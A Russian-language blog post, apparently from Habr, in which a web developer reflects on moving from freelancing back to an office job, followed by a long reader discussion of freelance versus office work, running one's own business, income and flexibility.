Самое интересное, всё это я понимаю уже сейчас, почти год спустя, как из фриланса я перебрался в офисное кресло. А всё потому, что фриланс это бег, гонка когда очень трудно поднять голову и оглядеться. И лишь теперь, отдышавшись от этой гонки я вижу, что это было несомненно полезно и архиважно для меня, как для личности, но по своей сути это была гонка с собственной тенью; то есть гонка, ради гонки,… работа, ради работы. Очень полезно, до тех пор, пока каждый новый проект — это новые знания. Но чем больше этих знаний, тем скучнее будет каждый новый проект.

Чем же мне так помогла эта гонка?
Естественно опыт. Разный. Опыт общения с клиентом, опыт разработки, опыт само-мотивации, опыт лени и ещё много-много другого опыта. Но это думаю и так всем понятно.

А что же ещё?
Самое главное — уверенность. Я не боюсь остаться без работы. То есть мне очень бы не хотелось потерять коллектив, в котором я работаю, и всё что связанно с ним, но меня совсем не пугает мысль — «я — безработный!». Просто потому, что я знаю, что делать. Я знаю где и как заработать на жизнь двух взрослых и двух маленьких людей, то есть на жизнь своей семьи.

Второе самое главное — я знаю сколько стоит мой труд. Не «столько получает среднестатистический web-разработчик» и не то, что «а вот мне обещали сделать это за двести», а то, что моё время стоит определённой, конкретной суммы денег, и эффективно использовать это время — это задача для работодателя. И меня совсем не напрягает, что работодатель продаёт моё время в разы дороже. Я бы так не смог, а он смог. Зато я могу продать своё время ему. И всем хорошо. Да.

Ну и не самое главное, но весьма полезное приобретение — это идеи. В ходе работы фрилансером, мы часто решаем задачи с нулевой точки, то есть, когда клиент приходит к нам и говорит свою идею, и уже вместе мы решаем, как её воплотить в жизнь. А иногда, мы просто их выслушиваем (идеи… или заказчиков?), а потом либо клиент отказывается от реализации, либо ещё какая то пакость происходит и мы имеем несколько часов своего потраченного времени и чужую идею. Со временем таких реализованных и мёртвых идей набирается достаточно, чтобы они стали жить своей жизнью в вашей голове. И они живут. Наверное женятся и разводятся, может даже любят друг друга, и как следствие рождают другие идеи — ваши. Это хорошо, когда у вас есть ваши личные идеи. Это просто замечательно.

Как мы все знаем, в жизни все процессы цикличны. Я думаю что это можно смело отнести и к работе web-разработчика. Мы работаем на дядю, потом фрилансим, потом снова работаем на дядю, но уже на другом уровне. Что бывает дальше — я пока не знаю, я на середине второго витка. Но у всех свои витки, кто-то снова будет фрилансить, кто-то сам станет дядей на которого работают, кто-то ещё продолжит догонять свою тень, и он её обязательно догонит, я знаю — я один раз уже догнал.

P.S. искренне прошу прощения, хотел написать небольшую заметку, но получилось как всегда.
Не умею я писать коротко, не наградила меня природа тем талантом, который краткость.


UPD: Перенёс во «Фриланс».
Unkn0wn
Хорошая статья. Взгяд «с другой стороны».
karasov
Ну почему же с другой? Изнутри и потом со стороны :)
maxz
Было бы с другой стороны, если бы было написано о том, чем же лучше работа на «дядю» в плане роста. То, что фриланс нужно перерости — это правильно, но что будет результатом этой эволюции??
Unkn0wn
Выводы можно и самому сделать.
На «дядю» хорошо тем что ты знаешь когда у тебя гарантировано свободное время.
Во фрилансе хорошо тем что ты сам выбираешь себе свободное и занятое(обычно все :-) время.

Ну а насчет того что перерасти это весьма спорно, по моему. Это просто развитие в измененном направлении.
Zzet
Я с удовольствием гонялся на фрилансе до тех пор, пока не наладилась личная жизнь. В данный момент — такой же офиисный работник и зарабатываю столько же, сколько я мог бы заработать на фрилансе за месяц работы и нервотрепки… но у меня есть график и свободное время, чего небыло тогда, когда я фрилансил… минусов больших мы не видим. что-то новое изучаю на досуге, в спокойной обстановке, а не в состоянии «тьфу, вроде приклеилось. дай бог бы не отвалилось до сдачи». Соответственно качетство работы выросло) Спасибо офису.
ADEE
Просто каждый выбирает свое, для кого-то фриланс может быть лишь временной ступенью на пути создания своего бизнеса. Минус офиса — вы все таки ограничены некоторыми рамками роста, свободного времени, финансового вознагражения, да они могут Вас вполне устраивать. Минус фриланса — нервы, клиенты, и ДА! ответственность за себя и конечно же семью.
enikei
Главное в жизни не деньги. А нервы дорого стоят, их надо беречь.
ADEE
А мне нравится то, что иногда надо понервничать, а потом наслаждаться полученным результатом :)
И цель бизнеса (читать фриланса) не только деньги, но и возможность свободной самореализации.
powerman
Ответственность — это не минус. Минус — это привычка перекладывать ответственность за себя на дяду, на которого Вы работаете. (Кстати, дядя обычно ответственность за Вас на себя брать и не думает, хотя и может декларировать обратное.)

Нервы/клиенты — да, если возиться с кучей мелких проектов на разных заказчиков. Делайте свою работу хорошо и Вы быстро получите несколько постоянных клиентов и достаточно большой проект — что полностью эти минусы убирает.
lasto4kin
Да уж… отсутсвие отсветсвенности вытекает в офисе в штрафы от зарплаты! Иллюзия малой ответсвенности :)
nerezus
В провинции на фрилансе в месяц получится раза в 3 больше… Так что тут никуда не деться =(
Переезжать — не вариант.
nerezus
Т.е. все официально и т.д. как правило?
Ex3NDR
Мне кажется с опытом фриланса потом есть два пути, либо, как сказал автор, «снова работаем на дядю, но уже на другом уровне», либо сами становимся дядей, т.е. начинаем свой бизнес но уже в качестве руководителя коллектива. И в том и в другом случае опыт работы фрилансером играет очень большую роль.
Poiser
ну не секрет, что на фралансе часто зависают школьники и студенты с юношеским максимализмом, готовые за гроши взяться за что попало в надежде, что за коротки срок методом тыка все выучат и справятся… как не крутите, всеровно, после нескольки лет на фрилансе у них малые шансы стать тем самым дядей.
Zzet
во во я об этом и говорю) 4 человека нашлось
dmpr0
Покажите мне того, кто сразу родился «дядей» и никогда не был школьником.
dmpr0
Когда-то я думал, что за дикость — работать каждый день с девяти до пяти, ведь работы иногда бывает много, а иногда совсем ничего. Работа в относительно большой компании позволяет в основном выравнивать нагрузки, и это приятно.
veter
Тут есть принципиальная разница. Толковый менеджер знает что можно, а что нельзя. А если у вас с ним ещё и взаимопонимание, основанное на профессиональном отношении, то цены такому менеджеру нет. Вы сказали ему — это так не делается, и уже его головная боль, донести это до клиента. Напрямую с клиентом такие подходы почти никогда не срабатывают. Начинается поиск компромисса — а это уже не ваша работа.
grep0
менеджер — это да. тут еще одна вещь есть. вот смотрите. вы когда к стоматологу идете — вы же не говорите как вас лечить? Аналогочно с организацией. В большинстве случаев заказчик не говорит как вам надо программировать. он ставит задачу, а потом смотрит на ваше предложение. на фрилансе зачастую наоборот и как не странно — большинство говорит как надо лечить… несомненно — в этом есть и плюсы и минусы, но… но когда несут чушь, а вы в свою очередь, работая от всей души, предлагаете более качественный вариант реализации предложеной задачи и заказчик начинает вас опускать и рвет все связи — это задевает… ну на эту тему можно много говорить. вывод я сделал такой: в офисе спокойнее с той точки зрения, что «вас не просят в 1кб памяти жесткого диска разместить вашу прогу» ©.
Те, кто работал на фрилансе — вспомните, сколько процентов заказчиков пишут нормальное ТЗ, и сколько потом обсуждают то, как это будет реализованно? и сколько к вам прислушивалось?
tanq
Если нет ТЗ, то можно его составить самому. Не бесплатно =) И только потом решать, браться ли за задание.
Zzet
в таком случае я вам сочуствую…
1. вам не повезло с менеджером. Его уровень профессионализма не достаточен для качественного процветания вашей компании.
2. вы не туда устроились работать. а это уже ваш косяк. и если вы не хотите найти более достойное место работы для вас — это уже ни чьи, кроме ваших, проблемы.
nerezus
Браво!
Я уже много лет пытаюсь совмещать одно и другое. Не могу сказать, что все же ближе.
Независимость и свой собственный график, ответственность за свои действия (бездействия) — эта сторона фриланса мне по душе. Работа с заказчиками, беготня и возня — раздражают неимоверно.
Но работа в коллективе — очень хорошая вещь, а если и коллектив не промах, так можно горы свернуть!
Zzet
Вам должно хорошо работаться в группе фрилансеров. И коллектив будет, и с заказчиком общаться будут те, кого это не раздражает.
niksite
Кстати, по поводу графика работы — в компании, которая понимает, что такое программирование и где есть такая возможность (в web-студиях точно есть) график работы делают ну очень гибким. echo 'Hello world!' это не сиськи на заборе рисовать… эхъ, если бы ещё молоко за вредность давали =)
KonstRuctor
Хотя и пишите обратное, к сожалению, вы так и не поняли, что не переросли фриланс. Вы погрязли в его рутине и просто не смогли вырасти дальше.

Естественный и единственный эволюционный путь фриланса — это свое дело: фирма, предприятие, бизнес. Это когда вы работаете не «на дядю» и не «на себя». Это когда люди работают на вас.

Это и был тот «стимул, который бы показал нам, что мы профессионально выросли» и который вы так и не взяли. И повернули обратно.
powerman
Своё дело требует определённых качеств характера. Если их нет — то сами, со своим делом вы не справитесь, а просто потеряете время и деньги. Если вы хороший специалист, то найдите себе хорошего управленца и выиграют оба. Я например отдаю себе отчёт, что я не смогу руководить компанией, просто потому, что когда я прошу сделать работу, я жду, что она будет сделана так, как сделал бы я сам, однако, в большинстве случаев, чтобы добиться такого результата, нужно постоянно контролировать исполнителя. Рано или поздно будет человек, который мои знания сможет направит на управление группой людей, этот человек будет моим партнёром и это будет моё дело.
За всё время моей работы я уже несколько раз получал предложения о совместном бизнесе, но я чувствую, что пока рано.
Интересная мысль пришла в голову пока писал комент — почувствуйте тонкости пословиц:
«Поспешишь, людей насмешишь.» и «Лучше поздно, чем никогда.»
tanq
скорее «Каждый сверчок знай свой шесток»
SvetaSL
В точку. Не понимаю, почему многие говорят об открытии своего дела как о следующем шаге в развитии. Ведь управленец и исполнитель — разные позиции, требуются разные навыки и характер (хотя для обоих несомненно доскональное знание процесса необходимо).
Мне нравится рисовать, и даже если я знаю все тонкости процесса, я не хочу руководить кем-то в этом процессе, я хочу сам его реализовывать.
tanq
Не получится управлять людьми, пока сам не побывал в подчинении или хотя бы во фрилансе. Лично для меня, свое дело — это следующий шаг. Как я уже комментировал в «Жизнь во фрилансе глазами программиста» хочется, чтобы работа и дом были по разные стороны от меня :)
Zzet
Не спорю, у каждого свой подход.
maiik
Поставьте директора цементного завода руководителем оперного театра и мы вместе посмеемся над результатом.

Это будет такая работа через абстрактный интерфейс очень высокого уровня. Предприятие даже может процветать, но при этом внутри начнут развиваться такие системные ошибки, которые рано или поздно приведут к тотальному краху.

Ну собственно, что далеко ходить. Все мы сейчас видим мировой кризис. А ведь он во многом из-за того, что руководили вот такие универсалы, которые работали не на уровне специфики конкретного предприятия, а на уровне общих показателей вроде биржевого курса. И как нам наглядно показывает практика, если руководители автомобильного концерна думают не об автомобилях, а об акциях, они рано или поздно обвалят и производство автомобилей и курс акций.
zakon
ну, я думаю, вы понимаете, что это гипербола, и мысль, конечно же не в «универсальности» управленцев. Я просто согласен (отчасти, как программист) с автором, что быть в роли «и швец, и жнец, да и вообще пипец» — достаточно сложно. Зачастую невозможно, без серьезного ущерба для параллельного вида деятельности.
markoni
ничто не мешает быть исполнителем и иметь свое дело, как доля в компании например :)
zakon
Мне кажется все-таки эволюционных пути два:
1. Свое дело (описано выше желаемое подчеркнуть)
2. И в отсутствии некоторых качеств, работа на дядю, но с качественным отличием ПО в лючшую сторону и з/п в плане увеличения.

Это два в чем-то схожишь стимула, хотя и в корне различаются
veter
Целиком присоединяюсь и немного от себя дополню. Автор просто еще раз доказал известную истину — продавая своё время, много не зработаешь (и фрилансом, и в офисе получаешь сравнимый доход). Чтобы получить что-то большее, надо покупать чужое время и удачно его перепродавать. И именно в этом главное отличие фриланса от работы на дядю — фрилансер в какой-то момент становится «дядей», начинает брать субподрядчиков и за «чужой счет обогащаться», а работающий на дядю, какой бы хороший управленец он ни был, просто получит немного прибавки к оплате своего времени. И да, автор до этого еще не дорос.
markoni
Рассказывайте сказки :))
> и фрилансом, и в офисе получаешь сравнимый доход
— Если почасово, то в офисе никогда таких денег не заработаешь. Другое дело, что не всем охота рвать зад для «своего дела» (tm) как тут выше одна добрая душа воспела. И потому доход сравнимый — фрилансером можно меньше работать, а получать больше.
grin
продавая своё время, много не зработаешь
А сколько Вам надо (для счастья, разумеется)? :)

IMHO уровень доходов должен превышать уровень расходов. После этого париться о бабках становится бессмысленно. Разумеется, уровень расходов должен включать не только ежемесячные траты, но и отпуск, одежду, апгрейд компа к выходу следущей «Готики» :) и некоторую сумму на непредвиденные расходы.

Если Вы зарабатываете столько фрилансом, любите своё дело и Вы не управленец в душе — делать свою фирму никакого смысла нет: получите море геморроя и некоторое количество ненужных Вам денег (это если справитесь и фирма будет приносить прибыль).
bendep
Да разговор вроде не про меня :) А про фриланс vs офис.

Но раз Вам интересен я… Мнеее для счастья надо улучшение жилищных условий (~10млн руб, если для нормального такого счастья), нормальную машину (~1.5млн руб… но это тоже для счастья)… ну и конечно какой-то мизер на содержание всего этого (~50тыс/мес)… И это только категорически необходимые расходы :) Конечно, это все мне нужно сразу (=12млн руб в месяц), в крайнем случае в течение года (=1млн руб в месяц)…

К чему я это… Что расходы (=потребности) всегда растут, независимо от доходов. Работа в офисе доходы достаточно жестко ограничивает. Потолок хорошего программиста сейчас — 100-150тыс. руб./мес.

Вот кааак только ваши потребности перерастут этот доход — тогда имеет смысл задуматься о том, чтобы стать «дядей». Некоторые понимают, что «дядей с доходом» за пару лет стать сложно, поэтому начинают идти к этому чуть раньше, чем потребности сильно перерастут доход.

Что-то такое.
habralan
Про деградацию и т.д. — habrahabr.ru/blogs/freelance/26791/
owjo
Еще хотел добавить: фриланс отличный выход тем, у кого нестабильная жизненная позиция — учеба, поездки и т.п., тогда можно самому искать себе время для работы. А когда ты уже более стабилен то тут как уже говорили выше два пути развития: кто умеет открывает свое дело, кто нет — работает на компанию. Конечно же у обеих вариантов есть свои плюсы и минусы.
powerman
и у кого здоровье слабое тоже фриланс пока практически единственный выход, потому что на постоянную удаленную работу очень боятся брать.

Когда работала в офисе, умудрялась не пропустить ни одной эпидемии гриппа :) + еще летом болеть
А когда устроилась в офис со встроенным в потолок кондиционером, простуда стала моим естественным состоянием.

Мечтаю о времени, когда работодатели будут радоваться, что сотрудник работает дома :) А пока фрилансю
habralan
Клиента не должно беспокоить сколько времени и когда исполнитель тратит на работу.
Он ждет только результат в оговореные сроки. А там уже заботы исполнителя когда и как это выполнять.
anycolor
Это только вы так думаете. А клиенту нужно, чтобы вы работали так как он хочет (в разумных пределах). Кто-то просит ежедневный отчет, кто-то хочет каждый день общаться через мессенджер или по телефону. Можно конечно и послать таких клиентов, но и им неинтересно, если работа будет выполнена неизвестно когда.
Unkn0wn
>если работа будет выполнена неизвестно когда.
Я ведь сказал что он ожидает выполнения заказа в оговореные сроки
Chikiro
Это если сроки оговорены. А если нет?

Тут много тонкостей. Давайте не будем углубляться :)
maxz
Ну почему же поездки нет?
Если фрилансер летом поедет на дачу, на природу, и будет ваять свой нетленный код там, благо интернет нынче доступен почти повсеместно, вопрос только в цене… почему бы и нет?
Не зря же у Пушкина наиболее яркие творческие периоды были связаны как раз с выездами в деревни.
Unkn0wn
Поездки — имелось ввиду командировки и прочие смены места жительства, когда других дел, кроме фриланса предостаточно. Да и чисто физически может быть сложно — смена часовых поясов, усталость с дороги.

А насчет дачи это вообще отличный вариант, а о работе на природе можно только мечтать. Но такие дела можно устроить практически не выезжая из города. Так сказать офис на природе…
maxz
А вы не думали в тот момент когда вы выросли взять под свою опеку кого-то второго, третьего… Выросли еще у вас уже четыре человека в команде. И так далее :) И продавайте себе свое время. Умение писать код это еще не все.
Поймите вы не сможете писать код всю жизнь. Что вы скажете потом? Из офиса рано или поздно прийдется уйти. Но такой подход не дает вам возможности в 30-35-40 лет выключить компьютер и уйти на пенсию. Вы об этом забыли.
Unkn0wn
Я фрилансер и считаю что у меня уже своё дело…
За разовые заказы практически не берусь, всегда строю партнёрские отношения, а не заказчик-исполнитель, позиционирую себя как полноценного равноправного партнёра, что правдо иногда смешно выглядит учитывая мой возраст, но приносит свои плоды.

Это к тому что пока фрилансеры будут строить отношение с заказчиками позиционируя себя как исполнителя, они по прежнему будут работать на дядю, точнее на дядь, которых много и все со своими тараканами.

Я замыкаю работу клиентов на себе, чтобы обеспечить стабильный доход, + совместно с «замкнутыми» компаниями, начинаем предлагать новые услуги в городе, с чего я тоже имею приток денег.
А самое главное, что я за последний год хорошо себя зарекомендовал примерно в 10 компаниях, думаю в будующем это может пригодится.

maxz
Спасибо. Конечно не против, а даже совсем наоборот, мне крайне приятно, что мой опыт оказался полезен кому-то ещё. Это стимулирует к написанию новых статей.
veter
пытаюсь совмещать…

статья хорошая, по делу…

но!

1. в коллективе хорошо, если менеджер толковый… иначе вам приходиться самому лезть через голову клиента и вживую общаться с клиентом, выясняя, что не понял или не захотел понять менеждер…

2. если вы всеж умудритесь приспособиться к работе с клиентами, опыт у вас будет… :))) кроме того, люди часто привязываются к имени, а не к компании…
maxz
Все лето работал в США, в офисе — после чего серьезно задумался о своей судьбе во фрилансе…
Потому с автором полностью согласен.
menvil
Несмотря на свою статью, постоянным фрилансером я себя не вижу, для меня это временный этап. Я хочу большой интересный проект с весёлой командой, над которым смогу пахать с утра до вечера. :)
kellas
и ключи от квартиры где деньги лежат…
tanq
Халявы не будет. :)
ilal
статья потрясающая! А главное что написана с душой!
кстати работая в офисе тоже настает момент когда становится откровенно скучно. если податься во фриланс в такой момент, там будет интересней?
zakon
Несомненно. Собственно как и просто переход на другое место работы. Всё дело в том, что меняя рабочую обстановку, мы как бы сбрасываем все счётчики на исходные позиции (ну или почти): желание работать: 100, желание сделать мир лучше: 100, усталость: 10. Если вам повезёт и на новом месте работы вы найдёте себя, то и уходить вам не захочется больше. А если не повезёт, то раз от раза меняя офис, вы всё быстрей будете терять мотивацию на новом месте и всё больше накапливать усталость. Рано или поздно — это потребует более кардинальной смены обстановки — например, фриланс.
dmalinovsky
Ого, как поднялась тема фриланса :)
Автор делиться своим опытом. Его опыт привел его опять в офис, но уже на другой уровень.
Кто то, устав от рутины гонки находит команду и диллегирует задачи в проекте, фактически, организуется небольшая студия. А тут уже другие пироги. В чем точно согласен на 100% — офисный опыт сам по себе полезен, и отказываться от него совсем в пользу фриланса не стоит. Да и, среди хороших спецов не так то много хорошо самоорганизованных, и нвык общения у всех разный. В этом отношении офис с его менеджерами очень даже соблазнителен.
Steward
С точки зрения мужчины написано все хорошо. Но если попытаться взглянуть на это глазами женщины?
Уходя в первый декрет из офиса, получила незабываемые впечатления (даже в роддом на сохранение пришлось ложиться ввиду нервного срыва). Пока особого желания возвращаться туда нет, тем более планирую второго дитя.
Фриланс — огромная прибавка к детскому пособию, которое еще нужно как-то вырвать у работодателя (не понимаю, почему государство дарит ему мои деньги), а также спокойствие и возможность зарабатывать в 2-3 раза больше, чем в офисе, за пару часов в день.
Планирую создание своего ООО, а офис и три директора, каждому из которых нужно отчитываться, обязательные ежедневные доносы на сотрудников, для меня как кошмарный сон.

Предвижу комментарии, что надо правильно выбирать фирму, в которой работать. Для больших городов это, возможно, актуально. Но для маленького индустриального городка с маленькими зарплатами, а тем более женщине (дискриминация хоть и незаконна, но пока что процветает), полугодовое хождение по работодателям заставляет выбирать первый же предложенный пост…
dmalinovsky
Я вообще считаю, что женщина должна работать только тогда, когда хочет. Мужчина работает для женщины, женщина для души. Я идеалист, да. Кстати, дорогие мужчины, помните — домохозяйство само по себе — это адский труд.
Londeren
Но ведь кто-то должен следить за домом…
tanq
Я нашёл — в офисе.
lasto4kin
менеджеров во фрилансе, которые бы не были испорченными телефонами, единицы!!!
где гарантия что вы правильно поймёте удалённого менеджера?
а если менеджер не удалённый — это практически офис :)
cvetic
фриланс хорошо когда в офисе работу не найти =)
tanq
Конечно, «офис» — это очередная ступенька на личностном пути.
В нем есть как плюсы, так и минусы.
Стресса в офисной работе к сожалению тоже немало. Тут тоже сроки, есть такой же момент, что делаешь чтоб было хорошо, а «заказчикам» нужно по другому, бесконечные переделки (а давайте так, а может так или еще вот так...).

Касательно карьерного роста — тут зависит от того места, где вы работаете.
В большинстве веб-студий (т.е. мелкие компании) как такового карьерного роста нету, собственно и некуда. Ну может вы были «рядовым» программистом, через пару лет максимум, что вас может ожидать — возглавите «отдел» и все, дальше то лесинке расти некуда.
Другое дело — конечно, в крупных компаниях…

Лично меня работа в офисе уже неудовлетворяет, уже не хочется тратить свое время на дела (проекты), которые мне неприятны и неинтересны. Пора бы уже свое дело начинать.
maxz
Есть отличные тандемы менеджер + программисты, и при грамотно поставленной работы проблем не возникает ни у кого. Лично знаком с такой компанией фрилансеров. Но здесь главное, чтобы менеджер «рубил в теме», а не просто рассказывал, какой красивый сайт мы вам сделаем. Т.е. менеджер должен иметь технический склад ума (что вовсе не обязательно, но дает фрилансерам явные преимущества).
tanq
Для фриланса, на самом деле, может быть очень много мотиваций. Кто-то просто бежит от офиса, субординации, навязанного графика работы, зарплаты «средней по рынку» и всяких других офисных проблем. Променяв это на возможность выбирать свой уровень оплаты, свой график итд., но при этом делая, в общем, то же самое, что делал бы в офисе, используя те же технологии, но общаясь с заказчиком напрямую.

Но есть как раз другой аспект. Зачастую офисные конторы отстают в применении новых перспективных технологий на год-другой. И не во все города нашей необъятной в конце концов проникает необходимость в этой технологии (в виде присутствия контор, которые ей занимаются). И даже наличие малого числа контор, использующих перспективную новую технологию, особо не дает возможности выбирать. Если у вас в городе одна или две конторы, занимающейся технологией вашей мечты, востребованной при этом на Западе, но эти конторы просто вам не подходят (так бывает, да), то фриланс — единственная отдушина.

В принципе, можно как раз будучи фрилансером быть в авангарде современных технологий в нашей стране. Хорошо это или плохо? Зависит от ваших приоритетов.

Другой вопрос, что безжалостный фрилансерский график работы (в который входит совсем другое, нежели в офисе, отношение к работе) все-таки изматывает. И при соответствующей мотивации (быть на переднем крае), думаю, для переростания фриланса дорога только одна: стать таким дядей. Либо делать свой проект, либо организовать консалтинговую фирму.

Примерно так.
Steward
Всегда интересно читать личный опыт, спасибо.
vitjok
Хех, все обязательно должны идти во фриланс в самом начале своей карьеры. Потому что именно фриланс дает важное осознание — «Зарплата — как же это прекрасно!!».
 
Еще лучше, когда во время фриланса ты чуть разрастаешься, и начинаешь управлять другими фрилансерами, выполняя роль менеджера. Тогда приходит понимание — «Начальник-то — не всегда мудак!».
 
После этого можно идти в офис и нормально работать.
Prometheus
(вежливо) Ключевой посыл моего комментария — совсем не то, на что вы нападаете и критикуете.
Я намекаю на пользу фриланса в обретении не столько профессиональных навыков, сколько зрелого видения отношений в отрасли. Фрилансер быстро познает цену зарабатывания денег, познает проблемы менеджмента на своей шкуре, и через это, скорее всего, выработает наконец-то уважение к ОРГАНИЗАЦИИ во всех смыслах этого слова.
zizop
Этому всему можно научиться и в офисе. По-крайней мере после того, как я понял, что понимаю процесс работы с клиентами, как надо вести проекты и как их реализовывать — я понял, что хочу попробовать это сам, как фрилансер.

А учиться «на кошках» — это не правильно. Вы предлагаете фрилансеру учиться на заказчиках, делать ошибки, не имея даже понятия, как это должно быть в идеале.

Сначала теория — потом практика, а не наоборот.
Constantiner
Вообще, это был саркастический совет, а не буквальное руководство к действию. Думаю, что те, кто сталкивался с владением бизнесом и управлением людьми, его так и поняли, поскольку в курсе проблемы отношения человека наемного к работодателю — в основном по причине незнания реалий ТОЙ стороны, управляющей.
 
В офисе можно восполнить часть этого пробела в знаниях — став начальником отдела, группы. Тогда всплывают все те коммуникационные проблемы в отношениях в иерархии. Но еще остается важная часть, которая касается непосредственно зарабатывания денег. Большинство работников не понимает, как именно и какой ценой эти самые деньги получаются — они только знают, что им-то уж точно дают подозрительно мало.
 
Именно с позиции переоценки ценностей я и рекомендовал «пофрилансить», чтобы пройти этот определенный этап детства. 90% фрилансеров через какое-то время возвращаются в уютный офис и больше не пищат — за исключением тех талантливых парней, которым деньги достаются слишком легко за счет востребованности их умений, поэтому стимула продаваться у них нет. Честь им и хвала ;)
DAREDEVIL
А вот что-то у меня такое впечатление, что все и так туда ломанулись. Может там где-то весит баннер: «Знаешь, как расшифровывается HTML, welcome в ряды верстальщиков!»? Хотя большинство и эту аббревиатуру не расшифруют :( Печально, это никак не способствует вбиванию в головы, что фрилансер это профессионал, а не личный раб, готовый работать за еду.
radianto
Ну, фрилансер — это же не обязательно профессионал ;) Это просто человек, которого можно нанять под конкретную работу. Как раньше в темные времена наемники — они не обязательно прямо таки каждый ассасин-нинзя, они просто готовы за тебя мечом махать, а там уже квалификация квалификации рознь.
 
Другое дело, что успешный фрилансер — это как правило профессионал, да, иначе удивительно бы — нужна же репутация да рекомендации.
atari
:) интересная аналогия с наемниками, мне это в голову не приходило. Но все же в моем понимании фрилансер должен иметь много хороших пунктов в виде самоорганизации, базы в виде портфолио и своих проектов, умение вести переговоры, а все это у новичков зачастую отсутствует. Хороший фрилансер будет партнером, плохой «наемником». Вот что бы не быть «наемником» стоит учится, либо в офисе, либо над книжками умных людей.
anycolor
Респект!
atari
Как тут уже сказали, у веб-фрилансера есть два пути:
1) постепеннно развивать свои веб-проекты, чтобы потом посвятить себя только им.
2) создавать свою команду, и компанию по разработке и переходить на более серъезный уровень.

Ну это в том случае если сам фриланс у вас хорошо получается, а у вас судя по всему получается не очень. Странно то что на общение с клиентом тратитися чуть ли не половина времени. Это мягко говоря не нормально. Пробовали использовать баг-трекер? И еще удивило что у вас оплата, судя по всему, только сдельная. Я в основном работаю на оплате по времени, поэтому большинства перечисленных проблем нет.

Но всё конечно сугубо индивидуально. Мне например нравится самому планировать и принимать решения. А кому-то наоборот такая свобода доставляет неудобства.

В остальном подпишусь под тем что сказал Constantiner. Я бы не смог работать в офисе хотя бы потому что интересной для меня работы там нет. Настраивать CMS-ки и писать велосипеды на PHP мне не интересно, занимался этим много лет, надоело до тошноты. А что-то типа Ruby или Python в нашем городе в компаниях не используется. Остается только фриланс, причем тут есть большой плюс. Я конечно могу делать всё подряд, но выбираю только то что мне интересно, и чтобы этот опыт/наработки можно было потом где-то использовать. И я уж никак не могу сказать что фриланс для меня «работа ради работы»! В первую очередь — для души, потом уже всё остальное.
anycolor
Очень точно подмечено, что фриланс — это работа ради работы. Спасибо за статью.
atari
Чуть выше написано, что это не так. По крайней мере не для всех. И не для меня.

А что для вас работа (не важно фриланс или офис или еще что)? И ради чего она, эта работа?
Dargin
Позвольте не отвечать на вопрос. :) Во избежание пафосных фраз. ;) Это очень серьезная тема.
На счет фриланса, полагаю, необходимо выполнить одну работу, чтобы поместить результат в портфолио и иметь возможность получить новую, желательно уровнем выше. 8)
atari
Отличная статья. Со многим согласен!
Dargin
Очень хорошая статья. Напишите книгу, у Вас хорошо получается. Удачи!
exel
Это моя мечта — быть писателем. Но пока что, я только html/js/php писатель =)
Kirax
Замечательная и полезная статья, автору респект.
Decoy
Сам совсем недавно вылез из отупляюще-интеллектуального фриланса в работу «на дядю»
Но дядя дал стабильности и возможности совершенствоваться, в то время которое я тратил на тупую пашню за бабло.
Респект.
maxz
Есть много разных вариантов фриланса, один из них- это коворкинг. И тут сразу решается одна из главных рассматриваемых проблем статьи- личный рост. В коворкинге и офис и менеджеры и постоянный рост сразу появляется, но нет никакого дяди, графика, в общем, всего того, от чего мы все так бежали, когда приходили во фриланс :)

P.S. Я не знаю, что будет потом, но сейчас чувствую, что нашла свое, и нет ни малейшего желания возвращаться обратно к дяде…
Decoy
Все, рано или поздно приходят к тому, что работа это хорошо, но отдыхать тоже надо. Конечно, пока мы еще молоды, можно работать 24 часа в сутки, не спать ночами, трепать себе нервы переговорами с переборчивыми клиентами, которые сами зачастую не понимают, чего им хочется. Однако, проходит время, и начинаешь понимать, что без отдыха, без личной жизни, без перспектив карьерного роста, даже любимая работа, перестает приносить удовольствие. Короче говоря, согласен с автором статьи.
bartram
на мой взгляд логичное развитие фрилансера — набор достаточного количества постоянных клиентов и открытие своей фирмы. т.е в конечном счете заниматься только общением с клиентами спихивая кодинг на сотрудников.
imho хороших менеджеров заметно меньше чем хороших программистов.
Mobyman
сколько умных-согласных, но бедных)
tanq
Свои пять копеек подкину)
Работал раньше в офисе, около трех лет. Все бы ничего, но есть у меня одно увлечение — кайтинг
Так вот, становишься просто одержимым. Сидишь в офисе, смотришь в окно — ветер дует…
а ты как дурак прилип к своему креслу и рассмативаешь пиксели на мониторе. А в выходные ветра как назло не бывает… И решил я волевым усилием перейти на фриланс — чтобы и деньги были и кататься можно было в любое время. Сомнений правда много было. Сейчас не жалею) Денег зарабатываю столько же сколько в офисе, а времени свободного раза в три!!! больше стало, и распоряжаюсь им как хочу!
Если надо — можно побольше поработть и взять отпуск на пару месяцев) а потом еще на пару месяцев… и еще…
Скажите, разве работая в офисе на дядю можно так устроить свою Жизнь?!
Имхо, при правильном подходе, фриланс дает очень много преимуществ перед работай в офисе.
а насчет развития ради развития ничего даже говорить не буду (у каждого свои цели)
mimic
Тут дело в то, что будучи фрилансером, надо уметь составить себе четкое расписание, и его придерживаться, безошибочно расставлять приоритеты. Очень легко впасть в одну из крайностей, — или работать постоянно, или вообще почти не работать, постоянно отвлекаясь, на какую то ерунду. поэтому, что бы быть успешным, надо обладать определенными качествами.
Жизнь, в принципе, расставляет все по своим местам, — кто остается на этом поприще, кто то со временем уходит, сообразив, что это не его.
mitrichlab
О да. Я тебя понимаю, сам кайтер. И мне тоже было тяжко на сердце, когда видишь что будет около 8м/с. И теперь делаею все также. Как и ты. Девушку отвожу на работу, кайт в машине и час езды, и я уже под кайтом качусь по волнам финского залива. Сказко.
Obry
Атличная идея! Девушку — на работу, а сам — на отдых.
Надо будет где-нибудь записать, чтоб не забыл.
Mory
А во фрилансе ты уже сколько?

С большим интересом коммент прочитал. Может статью напишешь?
saband
Когда-нибудь напишу) Надо с мыслями собраться.
saratovdae
И кармы насобирать. А то нынче старожилы минусуют, просто, за красивые глаза, а потом даже в личном блоге, для друзей, ничего не напишешь. :(
kletka
Эх, аж ветром дунуло…
Я кайтингом не увлекаюсь, но найду занятия в теплое время на природе. Насчет целей и развития согласен на все 100. Нельзя как то там абстрактно «развиваться». Развитие заклоючается в достижении конкретных целей, если ты их не фиксируешь, то появляется ощущение что ты стоиш на месте («ну вот, я так и не стал работаь в крутой международной конторе», сказал парень с ежемесячным доходом в 6000$ и связями в топе индустрии).

Как и думал, камень брошенный в воду рождает много кругов. За последнее время появилось несколько статей на одну тему — фриланс. Но, складывается впечатление, что многие просто не понимают природу явления. Фриланс, это не каста избранных и ни в коем случае не относить к «неприкасаемым». Это всего лишь способ получения заказа.

